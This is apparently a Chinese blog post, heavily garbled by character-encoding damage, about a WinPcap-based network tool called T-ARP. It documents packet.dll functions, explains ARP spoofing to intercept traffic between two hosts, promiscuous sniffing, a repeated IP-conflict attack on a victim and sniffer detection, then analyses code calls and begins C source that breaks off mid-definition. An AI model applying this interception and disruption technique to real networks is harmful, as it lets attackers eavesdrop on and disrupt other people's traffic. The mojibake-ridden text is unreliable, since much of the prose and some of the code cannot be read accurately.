(t¨©ng) (t¨©ng)如果˜qè¡ŒæˆåŠŸåQŒè¿”回一个_PACKET¾l“构的指针,否则˜q”回NULL。成功返回的¾l“æžœž®†ä¼š(x¨¬)传送到PacketReceivePacket()函数åQŒæŽ¥æ”¶æ¥è‡ªé©±åŠ¨çš„¾|‘络数据报ã€?br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)2> (t¨©ng) (t¨©ng)VOID PacketCloseAdapter(LPADAPTER lpAdapter)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)关闭参数中提供的¾|‘络适配器,释放相关的ADAPTER¾l“æž„ã€?br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)3> (t¨©ng) (t¨©ng)VOID PacketFreePacket(LPPACKET lpPacket)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)释放参数提供的_PACKET¾l“æž„ã€?br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)4> (t¨©ng) (t¨©ng)BOOLEAN PacketGetAdapterNames(LPSTR pStr,PULONG BufferSize)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)˜q”回可以得到的网¾lœé€‚配器列表及(qi¨¢ng)描述ã€?br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)5> (t¨©ng) (t¨©ng)BOOLEAN PacketGetNetInfoEx(LPTSTR AdapterNames,npf_ip_addr *buff, PLONG NEntries)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)˜q”回某个¾|‘络适配器的全面地址信息ã€?br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)其中npf_ip_addr¾l“构包含åQšIPAddress,SubnetMask,Broadcast<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)I(y¨ªng)PAddress: ip地址<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)SubnetMask: 子网掩码<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)Broadcast: òq¿æ’­åœ°å€<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)6> (t¨©ng) (t¨©ng)BOOLEAN PacketGetNetType(LPADAPTER AdapterObject, NetType *type)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)˜q”回某个¾|‘络适配器的MAC¾cÕdž‹ã€?br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)NetType¾l“构里包含了(ji¨£n)LinkSpeed(速度åQ‰å’ŒLinkType(¾cÕdž‹åQ‰ã€‚其中LinkType包含以下几种情况åQ?br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)NdisMedium802_3: Ethernet(802.3)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)NdisMediumWan: WAN<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)NdisMedium802_5: Token Ring(802.5)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)NdisMediumFddi: FDDI<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)NdisMediumAtm: ATM<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)NdisMediumArcnet878_2: ARCNET(878.2)<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)7> (t¨©ng) (t¨©ng)BOOLEAN PacketGetStats(LPADAPTER AdapterObject,struct bpf_stat *s)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)˜q”回几个关于当前捕获报告的统计信息ã€?br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)其中bpf_stat¾l“构包含åQšbs_recv, bs_drop,ps_ifdrop,bs_capt<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)bs_recv: 从网¾lœé€‚配器开始捕èŽäh•°æ®æŠ¥å¼€å§‹æ‰€æŽ¥æ”¶åˆ°çš„æ‰€æœ‰æ•°æ®æŠ¥çš„æ•°ç›®ï¼ŒåŒ…括丢失的数据报åQ?br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)bs_drop: 丢失的数据报数目。在驱动¾~“冲区已¾læ»¡æ—Óž¼Œž®×ƒ¼š(x¨¬)发生数据报丢å¤Þqš„æƒ…况ã€?br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)8> (t¨©ng) (t¨©ng)PCHAR PacketGetVersion()<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)˜q”回关于dll的版本信息ã€?br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)9> (t¨©ng) (t¨©ng)VOID PacketInitPacket(LPPACKET lpPacket, PVOID Buffer, UINT Length)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)初始化一个_PACKET¾l“æž„ã€?br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)10> LPADAPTER PacketOpetAdapter(LPTSTR AdapterName)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)打开一个网¾lœé€‚配器ã€?br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)11> BOOLEAN PacketReceivePacket(LPADAPTER AdapterObject,LPPACKET lpPacket,BOOLEAN Sync)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)从NPF驱动½E‹åºè¯Õd–¾|‘络数据报及(qi¨¢ng)¾lŸè®¡ä¿¡æ¯ã€?br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)数据报编码结构:(x¨¬) |bpf_hdr|data|Padding|bpf_hdr|data|Padding|<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)12> BOOLEAN PacketSendPacket(LPADAPTER AdapterObject,LPPACKET lpPacket, BOOLEAN Sync)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)发送一个或多个数据报的副本ã€?br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)13> BOOLEAN PacketSetBuff(LPADAPTER AdapterObject,int dim)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)讄¡½®æ•获数据报的内核¾U§ç¼“冲区大小ã€?br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)14> BOOLEAN PacketSetHwFilter(LPADAPTER AdapterObject,ULONG Filter)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)为接收到的数据报讄¡½®¼‹¬äšg˜q‡æ×o(h¨´)规则ã€?br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)以下ä¸ÞZ¸€äº›å…¸åž‹çš„˜q‡æ×o(h¨´)规则åQ?br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)NDIS_PACKET_TYPE_PROMISCUOUS: 讄¡½®ä¸ºæØœæ‚模式,接收所有流˜q‡çš„æ•°æ®æŠ¥ï¼›<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)NDIS_PACKET_TYPE_DIRECTED: 只有目的åœîCØ“(f¨´)本地ä¸ÀLœº¾|‘络适配器的数据报才ä¼?x¨¬)被接收åQ?br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)NDIS_PACKET_TYPE_BROADCAST: 只有òq¿æ’­æ•°æ®æŠ¥æ‰ä¼?x¨¬)被接收åQ?br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)NDIS_PACKET_TYPE_MULTICAST: 只有与本åœîC¸»æœºç½‘¾lœé€‚配器相对应的多播数据报才会(x¨¬)被接æ”Óž¼›<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)NDIS_PACKET_TYPE_ALL_MULTICAST: 所有多播数据报均被接收åQ?br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)NDIS_PACKET_TYPE_ALL_LOCAL: 所有本地数据报均被接收ã€?br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)15> BOOLEAN PacketSetNumWrites(LPADAPTER AdapterObject,int nwrites)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)讄¡½®è°ƒç”¨PacketSendPacket()函数发送一个数据报副本所重复的次数ã€?br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)16> BOOLEAN PacketSetReadTimeout(LPADAPTER AdapterObject,int timeout)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)讄¡½®åœ¨æŽ¥æ”¶åˆ°ä¸€ä¸ªæ•°æ®æŠ¥åŽâ€œä¼‘息”的旉™—´ã€?br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)以上ž®±æ˜¯T-ARP所调用的各个函敎ͼŒå®ƒåŒ…含了(ji¨£n)packet.dll里的大部分函数。如果你æƒÏx(ch¨®ng)›´æ·±å±‚的了(ji¨£n)è§£winpcap,误‚®¿é—®ç›¸å…³ç½‘站,主页地址åQ?<a target="_blank">http://winpcap.polito.it</a><br /><br />三)(j¨ª)T-ARP功能å?qi¨¢ng)原理介¾l?br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)准备工作åQšÂ?t¨©ng)?br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)1. 安装winpcap驱动åQŒç›®å‰æœ€æ–°çš„版本为winpcap_3.0_alpha, ½E›_®šç‰ˆæœ¬ä¸ºwinpcap_2.3åQ?br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)2. 使用ARP‹Æºéª—功能前,必须启动ip路由功能åQŒä¿®æ”?æ·ÕdŠ )注册表选项åQ?br />   (t¨©ng) (t¨©ng)  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter = 0x1 <br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)选项: (t¨©ng) (t¨©ng)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)-m (t¨©ng) (t¨©ng)ä¸ÀLœºæ‰«æåQŒèŽ·å¾—å±€åŸŸç½‘å†…æŒ‡å®šipŒDµä¸­å­˜æ´»ä¸ÀLœºçš„ip地址和mac地址åQ?br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)-a (t¨©ng) (t¨©ng)反嗅探扫描,获得局域网内指定ipŒDµä¸­å—…探ä¸ÀLœºçš„ip地址和mac地址åQ?br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)-s (t¨©ng) (t¨©ng)ARP‹Æºéª—åQŒæ¬ºéª—局域网内指定的两台ä¸ÀLœºåQŒä‹É其相互发送接收的数据报均通过本地ä¸ÀLœºåQ?br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)¾|‘络嗅探åQŒå¦‚果你选择‹Æºéª—的两åîC¸»æœºå‡æ˜¯æœ¬åœîC¸»æœºï¼Œé‚£ä¹ˆž®†ä¼š(x¨¬)监听到所有流˜q‡æœ¬åœîC¸»æœºçš„æ•°æ®æŠ¥ï¼›<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)I(y¨ªng)P冲突åQŒå¦‚果你选择‹Æºéª—的两åîC¸»æœºæ˜¯åŒä¸€å°éžæœ¬åœ°ä¸ÀLœºåQŒé‚£ä¹ˆå°±ä¼?x¨¬)发起ip冲突æ”Õd‡»åQ?br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)-r (t¨©ng) (t¨©ng)重置被欺骗主机,使被‹Æºéª—的两åîC¸»æœºæ¢å¤æ­£å¸¸çš„工作状态ã€?br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)原理å?qi¨¢ng)实现过½E‹ï¼š(x¨¬)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)无论什么选项åQŒç¬¬ä¸€ä»¶äº‹ž®±æ˜¯èŽ·å¾—æœ¬åœ°ä¸ÀLœºçš„mac地址å?qi¨¢ng)相关网¾lœè®¾¾|®ã€‚我们以一个特ŒDŠçš„ip地址(112.112.112.112)向本åœîC¸»æœºå‘送一个ARP Request(ARPè¯äh±‚)数据报,当本åœîC¸»æœºæŽ¥æ”¶åˆ°åŽï¼Œž®×ƒ¼š(x¨¬)发送一个ARP Reply(ARP应答)数据报来回应è¯äh±‚åQŒè¿™æ ähˆ‘们就可以获得本地ä¸ÀLœºçš„mac地址äº?ji¨£n)。至于相关的¾|‘络讄¡½®å¯ä»¥é€šè¿‡PacketGetNetInfoEx()å’ŒPacketGetNetType()获得ã€?br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)-m (t¨©ng) (t¨©ng)以本åœîC¸»æœºçš„名义(本地ä¸ÀLœºçš„ipå’Œmac)向指定ip¾|‘段内的所有主机发送广æ’?ff:ff:ff:ff:ff:ff)ARP Request数据报,存活的主机就ä¼?x¨¬)发送ARP Reply数据报,˜q™æ ·ž®±å¯ä»¥èŽ·å¾—å½“å‰å­˜?g¨°u)zÖM¸»æœºçš„列表。因为在很多¾|‘关上都对ARP Request做了(ji¨£n)限制--非内¾|‘ip发送的ARP Request数据报不ä¼?x¨¬)得到网关的回应åQŒå¦‚果你用内¾|‘的其他某台ä¸ÀLœºçš„ip来发送ARP Request数据报,如果填写的mac地址和相应的ip不合åQŒå°±ä¼?x¨¬)出现ip冲突。所以最好还是用自己的ipå’Œmac地址来发送请求ã€?br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)-a (t¨©ng) (t¨©ng)以本åœîC¸»æœºçš„名义(本地ä¸ÀLœºçš„ipå’Œmac)向指定ip¾|‘段内的所有主机发é€?1位伪òq¿æ’­åœ°å€(ff:ff:ff:ff:ff:fe)çš„ARP Request数据报,只有正在嗅探的主机才ä¼?x¨¬)发送ARP Reply数据报,˜q™æ ·ž®±å¯ä»¥èŽ·å¾—å½“å‰å­˜?g¨°u)zÖM¸»æœºçš„列表。嗅探中的win2000¾pȝ»Ÿ˜q˜ä(sh¨´)¼š(x¨¬)å¯?6位伪òq¿æ’­åœ°å€(ff:ff:00:00:00:00)做出回应åQ›è€Œå—…探中的win95/98/me不仅ä¼?x¨¬)回å?6位伪òq¿æ’­åœ°å€åQŒè€Œä¸”也会(x¨¬)回应8位伪òq¿æ’­åœ°å€(ff:00:00:00:00:00)åQŒè€?NIX¾pȝ»Ÿå¯¹å„¿Uå¹¿æ’­åœ°å€æ‰€åšå‡ºçš„反应却有些不同。在此我们选择31位伪òq¿æ’­åœ°å€åQŒæ˜¯å› äØ“(f¨´)¾lå¤§å¤šæ•°çš„ç³»¾lŸåœ¨å—…探旉™ƒ½ä¼?x¨¬)对它做出回应。而正常状况下的各¿Uç³»¾lŸï¼Œéƒ½ä¸ä¼?x¨¬)å¯?1位伪òq¿æ’­åœ°å€åšå‡ºå›žåº”ã€?br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)-s (ARP‹Æºéª—spoof) 需要强调的是在某些局域网(如以太网)内,数据报的发送与接收是基于硬件地址的,˜q™æ˜¯æˆ‘们实现‹Æºéª—的基¼‹€ã€‚首先获得指定的两台ä¸ÀLœº(假设ä¸?A å’?B)çš„mac地址åQŒç„¶åŽå‘A发送ARP Reply数据报,其中的源ip地址为Bçš„ip地址åQŒä½†æ˜¯æºmac地址却是本地ä¸ÀLœºçš„mac地址åQŒè¿™æ ·ä¸»æœºAž®×ƒ¼š(x¨¬)è®¤äØ“(f¨´)ä¸ÀLœºBçš„mac地址是本åœîC¸»æœºçš„mac地址åQŒæ‰€ä»¥ä¸»æœºA发送到ä¸ÀLœºB的数据报都发送到本地ä¸ÀLœºäº?ji¨£n)。同理向ä¸ÀLœºB发送ARP Reply数据报,通知它主机Açš„mac地址为本åœîC¸»æœºçš„mac地址。这样主机A和主机Bž®×ƒ¼š(x¨¬)把目的主机的mac地址理解为本åœîC¸»æœºçš„mac地址åQŒäºŽæ˜¯ä»–们之间相互发送的数据报都首先到达äº?ji¨£n)本åœîC¸»æœºï¼Œè€Œå…ˆå‰æˆ‘们已¾lå°†æœ¬åœ°ä¸ÀLœºè®„¡½®äº?ji¨£n)ip路由功能åQŒç³»¾lŸä¼š(x¨¬)自动ž®†æ•°æ®æŠ¥è½¬å‘到真正的目的ä¸ÀLœºã€‚å…¶é—ß_(d¨¢)¼Œä½ å°±å¯ä»¥ç›‘听它们通信的各¿Uæ•°æ®æŠ¥äº?ji¨£n)ã€?br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)-s (¾|‘络嗅探sniff) 如果指定的两个目的主机均为本åœîC¸»æœºï¼Œé‚£ä¹ˆž®±åªæ˜¯å°†¾|‘络适配器设¾|®äØ“(f¨´)æ·äh‚模式åQŒè¿™æ ·å°±å¯ä»¥ç›‘听到流˜q‡æœ¬åœîC¸»æœºç½‘¾lœé€‚配器的各种数据ã€?br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)-s (ip冲突shockåQ?如果你选择‹Æºéª—的两åîC¸»æœºæ˜¯åŒä¸€å°éžæœ¬åœ°ä¸ÀLœº(假如是主机C)åQŒé‚£ä¹ˆå°±ä¼?x¨¬)不断地向主机C发送ARP Reply数据报,报文中的源ip地址ž®±æ˜¯ä¸ÀLœºCçš„ip地址åQŒä½†æ˜¯æºmac地址却是本地ä¸ÀLœºçš„mac地址åQŒå› æ­¤ä¸»æœºCž®×ƒ¼š(x¨¬)发现有另一åîC¸»æœºåŒæ—¶æ‹¥æœ‰å’Œè‡ªå·±ç›¸åŒçš„ipåQŒè¿™ž®±æ˜¯ip冲突æ”Õd‡»ã€‚如果是非xp¾pȝ»Ÿ,都会(x¨¬)è·›_‡ºä¸€ä¸ªip冲突的提½Cºçª—口,而xp¾pȝ»Ÿä¹Ÿä¼š(x¨¬)有类似的警告。但是请注意åQŒåœ¨ä¸ÀLœºC的系¾lŸäº‹ä»¶æŸ¥çœ‹å™¨ä¸­ï¼Œä¼?x¨¬)留下本åœîC¸»æœºçš„mac地址与之冲突的恶å¿?j¨©)记录,所以你最好不要滥用这个功能ã€?br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)-r (t¨©ng) (t¨©ng)在实çŽîCº†(ji¨£n)ARP‹Æºéª—的情况下åQŒå‘ä¸ÀLœºAå’ŒB发送ARP Reply数据报,通知ä¸ÀLœºA(B)注意ä¸ÀLœºB(A)çš„mac地址ä¸ÞZ¸»æœºB(A)自己的mac地址åQŒè¿™æ ·ä¸»æœºAå’ŒBž®×ƒ¼š(x¨¬)更新他们的ARP¾~“å­˜åQŒå®žçŽ°æ­£å¸¸çš„æ•°æ®é€šä¿¡ã€?br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)<br />四)(j¨ª)T-ARP主要代码分析<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)1> 自定义函敎ͼš(x¨¬)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)int getmine() (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)//发送ARP Request数据报,è¯äh±‚获得本地ä¸ÀLœºçš„mac地址åQ?br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)void getdata(LPPACKET lp,int op) (t¨©ng) (t¨©ng)//分类处理接收到的数据报;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)DWORD WINAPI sniff(LPVOID no) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) //ž®†ç½‘¾lœé€‚配器设¾|®äØ“(f¨´)æ·äh‚模式åQŒæŽ¥æ”¶æ‰€æœ‰æµ˜q‡çš„æ•°æ®æŠ¥ï¼›<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)DWORD WINAPI sendMASR(LPVOID no) (t¨©ng) (t¨©ng)//发送ARP Request数据报,è¯äh±‚获得指定ipçš„mac地址åQ?br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)DWORD WINAPI sendSR(LPVOID no) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)//发送ARP Reply˜q›è¡ŒARP‹Æºéª—åQŒæˆ–是更æ–îC¸»æœºçš„ARP¾~“å­˜ã€?br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)2> 主要代码分析<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("\nLibarary Version: %s",PacketGetVersion()); (t¨©ng) (t¨©ng)//输出dll的版本信息;<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)PacketGetAdapterNames((char *)adaptername,&adapterlength) (t¨©ng) (t¨©ng)//获得本地ä¸ÀLœºçš„网¾lœé€‚配器列表和描述åQ?br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)lpadapter=PacketOpenAdapter(adapterlist[open-1]); (t¨©ng) (t¨©ng)//打开指定的网¾lœé€‚配器;<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)PacketGetNetType(lpadapter,&ntype) (t¨©ng) (t¨©ng)//获得¾|‘络适配器的MAC¾cÕdž‹åQ?br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)PacketGetNetInfoEx(adapterlist[open-1],&ipbuff,&npflen) (t¨©ng) (t¨©ng)//获得指定¾|‘络适配器的相关信息åQ?br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)rthread=CreateThread(NULL,0,sniff,(LPVOID)&opti,0,&threadrid); (t¨©ng) (t¨©ng)//创徏一个新¾U¿ç¨‹æ¥ç›‘听网¾lœæ•°æ®æŠ¥åQ?br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS) (t¨©ng) (t¨©ng)//ž®†ç½‘¾lœé€‚配器设¾|®äØ“(f¨´)æ·äh‚模式åQŒè¿™æ äh‰å¯ä»¥ç›‘听‹¹è¿‡æœ¬åœ°ä¸ÀLœºçš„æ•°æ®æŠ¥åQ?br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)PacketSetBuff(lpadapter,500*1024) (t¨©ng) (t¨©ng)//自定义网¾lœé€‚配器的内核¾~“的大小ä¸?500*1024åQ?br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)PacketSetReadTimeout(lpadapter,1) (t¨©ng) (t¨©ng)//讄¡½®æŽ¥æ”¶ä¸€ä¸ªæ•°æ®æŠ¥åŽç­‰å¾…的旉™—´ä¸?毫秒åQ?br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)PacketReceivePacket(lpadapter,lppacketr,TRUE) (t¨©ng) (t¨©ng)//在设¾|®äØ“(f¨´)æ·äh‚模式后,接收所有的数据报;<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&opti,0,&threadsid);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)sthread=CreateThread(NULL,0,sendSR,(LPVOID)&opti,0,&threadsid); (t¨©ng) (t¨©ng)//创徏一个新¾U¿ç¨‹å‘送特定的ARP数据æŠ?br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)PacketSetNumWrites(lpadapter,2) (t¨©ng) (t¨©ng)//在发送一个数据报æ—Óž¼Œé‡å¤å‘送两‹Æ¡ï¼›<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)PacketSendPacket(lpadapter,lppackets,TRUE) (t¨©ng) (t¨©ng)//发送自定义数据报;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)WaitForSingleObject(sthread,INFINITE); (t¨©ng) (t¨©ng)//½{‰å¾…发送ARP数据报的¾U¿ç¨‹¾l“束åQ?br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)PacketGetStats(lpadapter,&stat) (t¨©ng) (t¨©ng)//获得¾|‘络适配器的¾lŸè®¡ä¿¡æ¯åQ?br /><br />äº? T-ARP源代ç ?br /><br />#include <packet32.h><br />#include <ntddndis.h><br />#include <stdio.h><br />#include <conio.h><br /><br />#pragma comment(lib,"ws2_32")<br />#pragma comment(lib,"packet")<br /><br />#define ETH_IP (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) 0x0800<br />#define ETH_ARP (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)0x0806<br />#define ARP_REQUEST (t¨©ng) (t¨©ng)0x0001<br />#define ARP_REPLY (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)0x0002<br />#define ARP_HARDWARE 0x0001<br />#define max_num_adapter (t¨©ng) (t¨©ng)10<br /><br />#pragma pack(push,1)<br /><br />typedef struct ethdr<br />{<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)unsigned char (t¨©ng) (t¨©ng) eh_dst[6];<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)unsigned char (t¨©ng) (t¨©ng) eh_src[6];<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)unsigned short (t¨©ng) (t¨©ng)eh_type;<br />}ETHDR,*PETHDR;<br /><br />typedef struct arphdr<br />{<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)unsigned short (t¨©ng) (t¨©ng)arp_hdr;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)unsigned short (t¨©ng) 